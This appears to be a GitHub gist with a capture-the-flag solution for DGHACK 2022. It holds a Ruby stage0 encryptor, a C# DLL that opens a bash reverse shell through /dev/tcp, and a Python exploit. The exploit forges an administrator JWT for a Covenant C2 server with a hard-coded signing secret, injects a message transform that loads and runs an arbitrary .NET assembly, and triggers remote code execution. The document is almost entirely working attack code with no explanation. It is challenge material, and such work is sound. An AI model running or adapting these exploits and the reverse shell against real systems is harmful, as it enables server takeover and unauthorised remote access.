DGHACK 2022 - un chasseur sachant chasser 2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'securerandom' | |
require 'openssl' | |
require 'base64' | |
require 'json' | |
def aes256_cbc_encrypt(key, data) | |
key = Digest::SHA256.digest(key) if (key.kind_of?(String) && 32 != key.bytesize) | |
iv = SecureRandom.random_bytes(16) | |
iv = Digest::MD5.digest(iv) if (iv.kind_of?(String) && 16 != iv.bytesize) | |
aes = OpenSSL::Cipher.new('AES-256-CBC') | |
aes.encrypt | |
aes.key = key | |
aes.iv = iv | |
ciphered = aes.update(data) + aes.final | |
hmac = OpenSSL::Digest.new('sha256') | |
signed = OpenSSL::HMAC.digest(hmac, key, ciphered) | |
return([ciphered, iv, signed]) | |
end | |
guid = ARGV[1] | |
message = '<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>' | |
ciphered, iv, signed = aes256_cbc_encrypt(Base64.decode64(ARGV[0]), message) | |
data = { | |
'GUID': "#{guid}", | |
'Type': 0, | |
'Meta': '', | |
'IV': Base64.encode64(iv).strip, | |
'EncryptedMessage': Base64.encode64(ciphered).gsub("\n", ''), | |
'HMAC': Base64.encode64(signed).strip | |
} | |
data = data.to_json | |
puts data |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Reflection; | |
namespace ExampleDLL | |
{ | |
public class Class1 | |
{ | |
public Class1 () | |
{ | |
System.Diagnostics.Process.Start("bash", "-c \"bash -c 'exec bash -i &>/dev/tcp/127.0.0.1/4444 <&1'\""); | |
} | |
public void Main(string[] args) | |
{ | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import jwt | |
import random | |
import string | |
import os | |
import binascii | |
import base64 | |
import subprocess | |
import json | |
from urllib3.exceptions import InsecureRequestWarning | |
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) | |
C2IP = "unchasseursachantchasser.chall.malicecyber.com" | |
C2PORT = 8217 | |
secret = '%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm\'q%1ugAvfq6rC' | |
base_url = f"http://{C2IP}/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/" | |
def random_user(N=8): | |
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N)) | |
def random_hex(N): | |
return binascii.b2a_hex(os.urandom(N)).decode() | |
def random_id(): | |
return f"{random_hex(4)}-{random_hex(2)}-{random_hex(2)}-{random_hex(2)}-{random_hex(6)}" | |
def craft_token(username, userid): | |
payload = { | |
"sub": username, | |
"jti": "925f74ca-fc8c-27c6-24be-566b11ab6585", | |
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": userid, | |
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [ | |
"User", | |
"Administrator" | |
], | |
"exp": 1796477622, | |
"iss": "Covenant", | |
"aud": "Covenant" | |
} | |
print() | |
token = jwt.encode(payload, secret, algorithm='HS256') | |
return token.decode() | |
def is_admin(id, token): | |
data = {"Authorization" : f"Bearer {token}"} | |
id_roles = requests.get(f"{base_url}api/users/{id}/roles", headers=data, verify=False).json() | |
roles = requests.get(f"{base_url}api/roles", headers=data, verify=False).json() | |
for id_role in id_roles: | |
for role in roles: | |
if id_role['roleId'] == role['id'] and role['name'] == 'Administrator': | |
return True | |
return False | |
def find_admin(): | |
token = craft_token(random_user(), random_id()) | |
data = {"Authorization" : f"Bearer {token}"} | |
r = requests.get(f"{base_url}api/users", headers=data, verify=False) | |
print(r.text) | |
r = r.json() | |
for user in r: | |
if user["userName"] == "ServiceUser": | |
continue | |
if is_admin(user["id"], token): | |
return user | |
def get_admin_token(): | |
admin = find_admin() | |
print(f"Found admin : {admin['userName']} with id {admin['id']}") | |
return craft_token(admin['userName'], admin['id']) | |
def generate_transform_payload(): | |
dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAA.....' | |
payload = """public static class MessageTransform { | |
public static string Transform(byte[] bytes) { | |
try { | |
string assemblyBase64 = "%s"; | |
var assemblyBytes = System.Convert.FromBase64String(assemblyBase64); | |
var assembly = System.Reflection.Assembly.Load(assemblyBytes); | |
foreach (var type in assembly.GetTypes()) { | |
object instance = System.Activator.CreateInstance(type); | |
object[] args = new object[] { new string[] { "" } }; | |
try { | |
type.GetMethod("Main").Invoke(instance, args); | |
} | |
catch {} | |
} | |
} | |
catch {} | |
return System.Convert.ToBase64String(bytes); | |
} | |
public static byte[] Invert(string str) { | |
return System.Convert.FromBase64String(str); | |
} | |
}""" | |
return payload % dll | |
def upload_profile(token): | |
data = {"Authorization" : f"Bearer {token}"} | |
payload = { | |
'httpUrls': [ | |
'/en-us/index.html', | |
'/en-us/docs.html', | |
'/en-us/test.html' | |
], | |
'httpRequestHeaders': [ | |
{'name': 'User-Agent', 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'}, | |
{'name': 'Cookies', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'} | |
], | |
'httpResponseHeaders': [ | |
{'name': 'Server', 'value': 'Microsoft-IIS/7.5'} | |
], | |
'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73', | |
'httpGetResponse': '{DATA}', | |
'httpPostResponse': '{DATA}', | |
'id': 0, | |
'name': random_hex(5), | |
'description': '', | |
'type': 'HTTP', | |
'messageTransform': generate_transform_payload() | |
} | |
r = requests.post(f"{base_url}api/profiles/http", json=payload, headers=data, verify=False).headers | |
return r['Location'].split('/')[-1] | |
def read_listener_type(type, token): | |
r = requests.get(f"{base_url}api/listeners/types", headers={"Authorization" : f"Bearer {token}"}, verify=False).json() | |
for x in r: | |
if x['name'] == type: | |
return x['id'] | |
def create_listener(listener_name, profile_id, token): | |
data = { | |
'useSSL': False, | |
'urls': [ | |
f"http://0.0.0.0:{C2PORT}" | |
], | |
'id': 0, | |
'name': listener_name, | |
'bindAddress': "0.0.0.0", | |
'bindPort': C2PORT, | |
'connectAddresses': [ | |
"0.0.0.0" | |
], | |
'connectPort': C2PORT, | |
'profileId': int(profile_id), | |
'listenerTypeId': read_listener_type('HTTP', token), | |
'status': 'Active' | |
} | |
return requests.post(f"{base_url}api/listeners/http", json=data, headers={"Authorization" : f"Bearer {token}"}, verify=False).text | |
def read_listener_id(token, name): | |
r = requests.get(f"{base_url}api/listeners", headers={"Authorization" : f"Bearer {token}"}, verify=False).json() | |
for lists in r: | |
if lists['name'] == name: | |
return lists['id'] | |
def parse_grunt_cfg(cfg): | |
aes_key = cfg['stagerCode'].split('byte[] SetupKeyBytes = Convert.FromBase64String(@"')[1].split('");')[0] | |
guid_prefix = cfg['stagerCode'].split('string aGUID = @"')[1].split('";')[0] | |
return (aes_key, guid_prefix) | |
def read_grunt_cfg(token, lname): | |
data = { | |
'id': 0, | |
'listenerId': read_listener_id(token, lname), | |
'implantTemplateId': 1, | |
'name': 'Binary', | |
'description': 'Uses a generated .NET Framework binary to launch a Grunt.', | |
'type': 'binary', | |
'dotNetVersion': 'Net35', | |
'runtimeIdentifier': 'win_x64', | |
'validateCert': True, | |
'useCertPinning': True, | |
'smbPipeName': 'string', | |
'delay': 0, | |
'jitterPercent': 0, | |
'connectAttempts': 0, | |
'launcherString': 'GruntHTTP.exe', | |
'outputKind': 'consoleApplication', | |
'compressStager': False | |
} | |
requests.put(f"{base_url}api/launchers/binary", json=data, headers={"Authorization" : f"Bearer {token}"}, verify=False) | |
return parse_grunt_cfg(requests.post(f"{base_url}api/launchers/binary", json=data, headers={"Authorization" : f"Bearer {token}"}, verify=False).json()) | |
def generate_stage0(aes_key, guid): | |
headers = {} | |
headers['Cookie'] = f"ASPSESSIONID={guid}; SESSIONID=1552332971750" | |
headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' | |
payload = subprocess.check_output(['ruby', 'aes.rb', aes_key, guid]) | |
payload = payload.replace(b'\n',b'') | |
r = requests.post( | |
f"http://{C2IP}:{C2PORT}/en-us/test.html", | |
headers=headers, | |
data = { | |
'i' : 'a19ea23062db990386a3a478cb89d52e', | |
'data' : base64.b64encode(payload), | |
'session' : '75db-99b1-25fe4e9afbe58696-320bea73' | |
} | |
) | |
print(r.status_code, r.headers, r.text) | |
token = get_admin_token() | |
profile_id = upload_profile(token) | |
listener_name = random_hex(4) | |
create_listener(listener_name, profile_id, token) | |
aes_key, guid_prefix = read_grunt_cfg(token, listener_name) | |
print(f"aes_key {aes_key}") | |
print(f"guid_prefix {guid_prefix}") | |
print('Sending stage0 to trigger exploitation.') | |
generate_stage0(aes_key, f"{guid_prefix}{random_hex(5)}") | |
print(token) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment